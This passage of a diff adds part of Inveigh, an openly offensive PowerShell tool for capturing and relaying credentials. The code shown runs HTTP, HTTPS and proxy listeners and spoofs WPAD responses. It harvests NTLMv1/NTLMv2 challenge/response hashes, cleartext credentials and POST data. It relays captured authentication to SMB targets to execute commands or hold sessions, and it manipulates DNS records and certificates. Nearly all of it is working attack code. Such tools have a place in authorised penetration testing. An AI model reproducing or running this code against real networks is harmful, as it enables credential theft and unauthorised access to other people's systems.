challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full") + { + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_username_full") + } + + } + + } + + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + $NTLM_challenge = "" + + if($inveigh.SMB_relay -and $relay_step -eq 2) + { + + if(!$Username -or $Username -contains $HTTP_NTLM_user_string -or $Username -contains "$HTTP_username_full") + { + + if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))) + { + + if($inveigh.relay_user_failed_list -notcontains "$HTTP_source_IP $HTTP_username_full $Target") + { + + if(($inveigh.session_list | Where-Object {$_.User -eq $HTTP_username_full -and $_.Target -eq $target -and $_.Status -eq 'connected'} | Measure-Object).Count -lt $SessionLimit) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Sending $NTLM_type response for $HTTP_username_full for relay to $Target") + $SMB_relay_failed = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_version $SMB_user_ID $SMB_session_ID + + if(!$SMB_relay_failed) + { + + if($Attack -eq 'Session') + { + $inveigh.session_socket_table[$inveigh.session_count] = $SMB_relay_socket + $inveigh.session_table[$inveigh.session_count] = $SMB_session_ID + $inveigh.session_message_ID_table[$inveigh.session_count] = 3 + $inveigh.session_lock_table[$inveigh.session_count] = 'open' + $session_privilege = SMBRelayExecute $SMB_relay_socket $SMB_version $SMB_user_ID $SMB_session_ID + $session_object = New-Object PSObject + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Session $inveigh.session_count + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Target $SMB_relay_socket.Client.RemoteEndpoint.Address.IPaddressToString + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Initiator $HTTP_source_IP + Add-Member -InputObject $session_object -MemberType NoteProperty -Name User $HTTP_username_full + + if($session_privilege) + { + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "yes" + } + else + { + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "no" + } + + if($SMB_relay_socket.Connected) + { + $status = "connected" + } + else + { + $status = "disconnected" + } + + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Status $status + Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Established" $(Get-Date -format s) + Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Last Activity" $(Get-Date -format s) + $inveigh.session_list += $session_object + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Sesion $($inveigh.session_count) added to session list") + $inveigh.session_count++ + } + else + { + SMBRelayExecute $SMB_relay_socket $SMB_version $SMB_user_ID $SMB_session_ID + } + + } + + $relay_step = 0 + + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay aborted since $HTTP_username_full has reached session limit on $Target") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay aborted since $HTTP_username_full has already been tried on $Target") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full not on relay username list") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + + if($proxy_listener) + { + $HTTP_send = $false + } + + } + else + { + $HTTP_client_close = $false + } + + } + + if(!$proxy_listener -and $WPADResponse -and $HTTP_request_raw_URL -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_message = $WPADResponse + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + + if($HTTP_request_raw_URL -notmatch '/wpad.dat' -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) + { + $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + } + + $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary + $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) + $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) + $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) + + if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) + { + $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_content_type) + { + $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_cache_control) + { + $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_send) + { + $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) + $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse + $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) + $HTTP_stream.Flush() + } + + Start-Sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old = $HTTP_client.Client.Handle + + if($HTTP_client_close) + { + + if($proxy_listener) + { + $HTTP_client.Client.Close() + } + else + { + $HTTP_client.Close() + } + + } + + } + else + { + + if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) + { + $HTTP_client.Close() + $HTTP_client_close = $true + $HTTP_reset_delay = $false + } + else + { + Start-Sleep -m 100 + } + + } + + } + + $HTTP_client.Close() + start-sleep -s 1 + $HTTP_listener.Server.blocking = $false + Start-Sleep -s 1 + $HTTP_listener.Server.Close() + Start-Sleep -s 1 + $HTTP_listener.Stop() +} + +# Control Relay Loop ScriptBlock +$control_relay_scriptblock = +{ + param ($ConsoleQueueLimit,$RelayAutoExit,$RunTime,$SigningCheck) + + function SigningCheck + { + $target_list = $inveigh.target_list + + ForEach($target_entry in $target_list) + { + $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient + $SMB_relay_socket.Client.ReceiveTimeout = 5000 + $SMB_relay_socket.Connect($target_entry,"445") + + if(!$SMB_relay_socket.connected) + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Relay target is not responding") > $null + } + else + { + SMBRelayChallenge $SMB_relay_socket $null '$SMB1' $true > $null + } + + } + + if(!$inveigh.target_list) + { + StopInveigh "empty target list" + } + + } + + function OutputQueueLoop + { + + while($inveigh.output_queue.Count -gt 0) + { + + if($inveigh.console_output) + { + $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + } + + function StopInveigh + { + param ([String]$exit_message) + + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] SSL Certificate Deletion Error [Remove Manually]") > $null + } + + } + + if($inveigh.DNS_list.Count -gt 0) + { + + foreach($DNS_host in $inveigh.DNS_list) + { + + if($DNS_host.StartsWith("1,")) + { + + $DNS_update = Invoke-DNSUpdate -DNSType A -DNSName $DNS_host.SubString(2) + + if($DNS_update -eq "[+] DNS update successful") + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] DNS host (A) record for $($DNS_host.SubString(2)) removed") + } + else + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] DNS host (A) record for $($DNS_host.SubString(2)) remove failed") + } + + } + + } + + $inveigh.DNS_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList + } + + if($inveigh.relay_running) + { + Start-Sleep -S 1 + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting due to $exit_message") > $null + OutputQueueLoop + Start-Sleep -S 1 + $inveigh.relay_running = $false + } + + if($inveigh.running) + { + Start-Sleep -S 1 + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting due to $exit_message") > $null + OutputQueueLoop + Start-Sleep -S 1 + $inveigh.running = $false + } + + $inveigh.HTTPS = $false + } + + if($SigningCheck -eq 'Y') + { + $SigningCheck = 'N' + SigningCheck + } + + if($RunTime) + { + $control_timeout = New-TimeSpan -Minutes $RunTime + $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while($inveigh.relay_running) + { + + while($inveigh.output_queue.Count -gt 0) + { + + if($inveigh.console_output) + { + $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + if($RelayAutoExit -eq 'Y' -and !$inveigh.SMB_relay) + { + Start-Sleep -S 5 + StopInveigh "disabled relay" + } + + if($RunTime) + { + + if($control_stopwatch.Elapsed -ge $control_timeout) + { + StopInveigh "run time" + } + + } + + if($inveigh.file_output -and -not $inveigh.control) + { + + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveAt(0) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveAt(0) + } + + while($inveigh.form_input_file_queue.Count -gt 0) + { + $inveigh.form_input_file_queue[0]|Out-File $inveigh.form_input_out_file -Append + $inveigh.form_input_file_queue.RemoveAt(0) + } + + } + + if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) + { + + while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) + { + $inveigh.console_queue.RemoveAt(0) + } + + } + + Start-Sleep -m 5 + } + + } + +# Session Refresh Loop ScriptBlock +$session_refresh_scriptblock = +{ + param ($SessionRefresh) + + while($inveigh.relay_running) + { + + if($inveigh.session_socket_table.Count -gt 0) + { + $session = 0 + + while($session -le $inveigh.session_socket_table.Count) + { + $session_timespan = New-TimeSpan $inveigh.session_list[$session]."Last Activity" $(Get-Date) + + if($inveigh.session_socket_table[$session].Connected -and $inveigh.session_lock_table[$session] -eq 'open' -and $session_timespan.Minutes -ge $SessionRefresh) + { + $inveigh.session_lock_table[$session] = 'locked' + $SMB_client = $inveigh.session_socket_table[$session] + $SMB_client_stream = $SMB_client.GetStream() + $SMB_session_ID = $inveigh.session_table[$session] + $SMB2_message_ID = $inveigh.session_message_ID_table[$session] + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_client_receive = New-Object System.Byte[] 1024 + $SMB_path = "\\" + $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString + "\IPC$" + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x1f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + #$packet_SMB2_header["ProcessID"] = $process_ID_bytes + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try + { + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + catch + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay SMB session $session has closed") + } + + $inveigh.session_lock_table[$Session] = 'open' + $inveigh.session_list[$Session] | Where-Object {$_."Last Activity" = Get-Date -format s} + $inveigh.session_message_ID_table[$Session] = $SMB2_message_ID + } + + $session++ + } + + + } + + Start-Sleep -m 5 + } + +} + + # HTTP Listener Startup Function +function HTTPListener +{ + $HTTP_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_listener = $false + $proxy_listener = $false + $HTTP_runspace.Open() + $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTP_powershell = [PowerShell]::Create() + $HTTP_powershell.Runspace = $HTTP_runspace + $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($packet_functions_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( + $Command).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument($HTTPResetDelay).AddArgument( + $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($SessionLimit).AddArgument($SessionPriority).AddArgument( + $Target).AddArgument($Username).AddArgument($WPADAuth).AddArgument($WPADAuthIgnore).AddArgument( + $WPADResponse) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# HTTPS Listener Startup Function +function HTTPSListener +{ + $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_listener = $true + $proxy_listener = $false + $HTTPS_runspace.Open() + $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTPS_powershell = [PowerShell]::Create() + $HTTPS_powershell.Runspace = $HTTPS_runspace + $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($packet_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( + $Command).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument($HTTPResetDelay).AddArgument( + $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($SessionLimit).AddArgument($SessionPriority).AddArgument( + $Target).AddArgument($Username).AddArgument($WPADAuth).AddArgument($WPADAuthIgnore).AddArgument( + $WPADResponse) > $null + $HTTPS_powershell.BeginInvoke() > $null +} + +# Proxy Listener Startup Function +function ProxyListener +{ + $proxy_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_listener = $false + $proxy_listener = $true + $proxy_runspace.Open() + $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $proxy_powershell = [PowerShell]::Create() + $proxy_powershell.Runspace = $proxy_runspace + $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $proxy_powershell.AddScript($packet_functions_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( + $Command).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument($HTTPResetDelay).AddArgument( + $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($SessionLimit).AddArgument($SessionPriority).AddArgument( + $Target).AddArgument($Username).AddArgument($WPADAuth).AddArgument($WPADAuthIgnore).AddArgument( + $WPADResponse) > $null + $proxy_powershell.BeginInvoke() > $null +} + +# Control Relay Startup Function +function ControlRelayLoop +{ + $control_relay_runspace = [RunspaceFactory]::CreateRunspace() + $control_relay_runspace.Open() + $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_relay_powershell = [PowerShell]::Create() + $control_relay_powershell.Runspace = $control_relay_runspace + $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_relay_powershell.AddScript($packet_functions_scriptblock) > $null + $control_relay_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( + $RelayAutoExit).AddArgument($RunTime).AddArgument($SigningCheck) > $null + $control_relay_powershell.BeginInvoke() > $null +} + +# Session Refresh Startup Function +function SessionRefreshLoop +{ + $session_refresh_runspace = [RunspaceFactory]::CreateRunspace() + $session_refresh_runspace.Open() + $session_refresh_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $session_refresh_powershell = [PowerShell]::Create() + $session_refresh_powershell.Runspace = $session_refresh_runspace + $session_refresh_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $session_refresh_powershell.AddScript($packet_functions_scriptblock) > $null + $session_refresh_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $session_refresh_powershell.AddScript($session_refresh_scriptblock).AddArgument($SessionRefresh) > $null + $session_refresh_powershell.BeginInvoke() > $null +} + +# HTTP Server Start +if($HTTP -eq 'Y') +{ + HTTPListener + Start-Sleep -m 50 +} + +# HTTPS Server Start +if($HTTPS -eq 'Y') +{ + HTTPSListener + Start-Sleep -m 50 +} + +# Proxy Server Start +if($Proxy -eq 'Y') +{ + ProxyListener + Start-Sleep -m 50 +} + +# Control Relay Loop Start +ControlRelayLoop + +# Session Refresh Loop Start +if($SessionRefresh -gt 0) +{ + SessionRefreshLoop +} + +# Console Output Loop +try +{ + + if($inveigh.console_output) + { + + if($ConsoleStatus) + { + $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + :console_loop while($inveigh.relay_running -and $inveigh.console_output) + { + + while($inveigh.console_queue.Count -gt 0) + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Warning($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) + } + + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} + { + + if($ConsoleOutput -eq 'Y') + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} + { + + if($ConsoleOutput -ne "Low") + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + default + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) + { + + if($inveigh.cleartext_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique cleartext captures:" + $inveigh.newline) + $inveigh.cleartext_list.Sort() + + foreach($unique_cleartext in $inveigh.cleartext_list) + { + if($unique_cleartext -ne $unique_cleartext_last) + { + Write-Output($unique_cleartext + $inveigh.newline) + } + + $unique_cleartext_last = $unique_cleartext + } + + Start-Sleep -m 5 + } + else + { + Write-Output("[+] [$(Get-Date -format s)] No cleartext credentials have been captured" + $inveigh.newline) + } + + if($inveigh.POST_request_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique POST request captures:" + $inveigh.newline) + $inveigh.POST_request_list.Sort() + + foreach($unique_POST_request in $inveigh.POST_request_list) + { + if($unique_POST_request -ne $unique_POST_request_last) + { + Write-Output($unique_POST_request + $inveigh.newline) + } + + $unique_POST_request_last = $unique_POST_request + } + + Start-Sleep -m 5 + } + + if($inveigh.NTLMv1_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv1_list.Sort() + + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + { + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output($unique_NTLMv1 + $inveigh.newline) + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + + $unique_NTLMv1_account_last = '' + Start-Sleep -m 5 + Write-Output("[*] [$(Get-Date -format s)] Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) + { + Write-Output($NTLMv1_username + $inveigh.newline) + } + + Start-Sleep -m 5 + } + else + { + Write-Output("[+] [$(Get-Date -format s)] No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) + } + + if($inveigh.NTLMv2_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv2_list.Sort() + + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output($unique_NTLMv2 + $inveigh.newline) + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + $unique_NTLMv2_account_last = '' + Start-Sleep -m 5 + Write-Output("[*] [$(Get-Date -format s)] Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) + { + Write-Output($NTLMv2_username + $inveigh.newline) + } + + } + else + { + Write-Output("[+] [$(Get-Date -format s)] No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) + } + + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + + } + + if($inveigh.console_input) + { + + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + + } + + Start-Sleep -m 5 + } + + } + +} +finally +{ + + if($Tool -eq 2) + { + $inveigh.relay_running = $false + } + +} + +} +#End Invoke-InveighRelay + +function Stop-Inveigh +{ +<# +.SYNOPSIS +Stop-Inveigh will stop all running Inveigh functions. +#> + +if($inveigh) +{ + + if($inveigh.running -or $inveigh.relay_running) + { + + if($inveigh.DNS_list.Count -gt 0) + { + + foreach($DNS_host in $inveigh.DNS_list) + { + + if($DNS_host.StartsWith("1,")) + { + + $DNS_update = Invoke-DNSUpdate -DNSType A -DNSName $DNS_host.SubString(2) + + if($DNS_update -eq "[+] DNS update successful") + { + $output = "[+] [$(Get-Date -format s)] DNS host (A) record for " + $DNS_host.SubString(2) + " removed" + Write-Output $output + } + else + { + $output = "[-] [$(Get-Date -format s)] DNS host (A) record for " + $DNS_host.SubString(2) + " remove failed" + Write-Warning $output + } + + if($inveigh.file_output) + { + $output | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add($output) > $null + } + + } + + } + + $inveigh.DNS_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList + } + + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + $output = "[-] [$(Get-Date -format s)] SSL Certificate Deletion Error [Remove Manually]" + + if($inveigh.file_output) + { + $output | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add($output) > $null + } + + Write-Warning $output + } + + } + + if($inveigh.relay_running) + { + $output = "[*] [$(Get-Date -format s)] Inveigh Relay is exiting" + + if($inveigh.file_output) + { + $output | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add($output) > $null + } + + Write-Output $output + $inveigh.relay_running = $false + } + + if($inveigh.running) + { + $output = "[*] [$(Get-Date -format s)] Inveigh is exiting" + + if($inveigh.file_output) + { + $output | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add($output) > $null + } + + Write-Output $output + $inveigh.running = $false + } + + $inveigh.HTTPS = $false + Start-Sleep -S 5 + } + else + { + Write-Output "[-] There are no running Inveigh functions" + } + +} + +} + +function Get-Inveigh +{ +<# +.SYNOPSIS +Get-Inveigh will get stored Inveigh data from memory. + +.PARAMETER Console +Get queued console output. This is also the default if no parameters are set. + +.PARAMETER DNS +Get added DNS host records. + +.PARAMETER DNSFailed +Get failed DNS host record adds. + +.PARAMETER Learning +Get valid hosts discovered through spoofer learning. + +.PARAMETER Log +Get log entries. + +.PARAMETER Cleartext +Get captured cleartext credentials. + +.PARAMETER CleartextUnique +Get unique captured cleartext credentials. + +.PARAMETER NTLMv1 +Get captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv1Unique +Get the first captured NTLMv1 challenge/response for each unique account. + +.PARAMETER NTLMv1Usernames +Get IP addresses and usernames for captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv2 +Get captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv2Unique +Get the first captured NTLMv2 challenge/response for each unique account. + +.PARAMETER NTLMv2Usernames +Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. + +.PARAMETER POSTRequest +Get captured POST requests. + +.PARAMETER POSTRequestUnique +Get unique captured POST request. +#> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][Switch]$Cleartext, + [parameter(Mandatory=$false)][Switch]$CleartextUnique, + [parameter(Mandatory=$false)][Switch]$Console, + [parameter(Mandatory=$false)][Switch]$DNS, + [parameter(Mandatory=$false)][Switch]$DNSFailed, + [parameter(Mandatory=$false)][Switch]$Learning, + [parameter(Mandatory=$false)][Switch]$Log, + [parameter(Mandatory=$false)][Switch]$NTLMv1, + 